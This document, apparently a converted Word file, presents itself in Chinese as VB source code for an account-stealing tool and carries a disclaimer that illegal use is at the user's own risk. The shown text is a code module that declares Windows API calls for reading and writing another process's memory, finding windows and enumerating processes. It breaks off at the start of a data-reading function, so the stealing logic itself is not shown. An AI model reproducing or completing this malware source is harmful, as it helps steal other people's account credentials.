盗号工具源代码vb.doc

盗号工具源代码vb ※转载请注明出处，如用于非法途径后果自负 模块部分代码： Option Explicit 读内存 Public Declare Function ReadProcessMemory Lib kernel32 (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long 写内存 Public Declare Function WriteProcessMemory Lib kernel32 (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long 取得当前窗体句柄 Public Declare Function GetForegroundWindow Lib user32 () As Long 查找窗体 Public Declare Function FindWindow Lib user32 Alias FindWindowA (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 获取窗体标题 Public Declare Function GetWindowText Lib user32 Alias GetWindowTextA (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long 取得PID Public Declare Function GetWindowThreadProcessId Lib user32 (ByVal hwnd As Long, lpdwProcessId As Long) As Long Public Declare Function OpenProcess Lib kernel32 (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Public Declare Function CloseHandle Lib kernel32 (ByVal hObject As Long) As Long Public Declare Function CreateToolhelp32Snapshot Lib kernel32 (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long Public Declare Function Process32First Lib kernel32 (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long Public Declare Function Process32Next Lib kernel32 (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long Public Const PROCESS_ALL_ACCESS = H1F0FFF Public Const MAX_PATH = 260 Public Const TH32CS_SNAPPROCESS = H2 Public Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * MAX_PATH End Type Public Function GetData(ByVal lpName As String, ByVal lpAddress As Long, SaveData() As Byte, Optional ByVal dtLen As Long = 1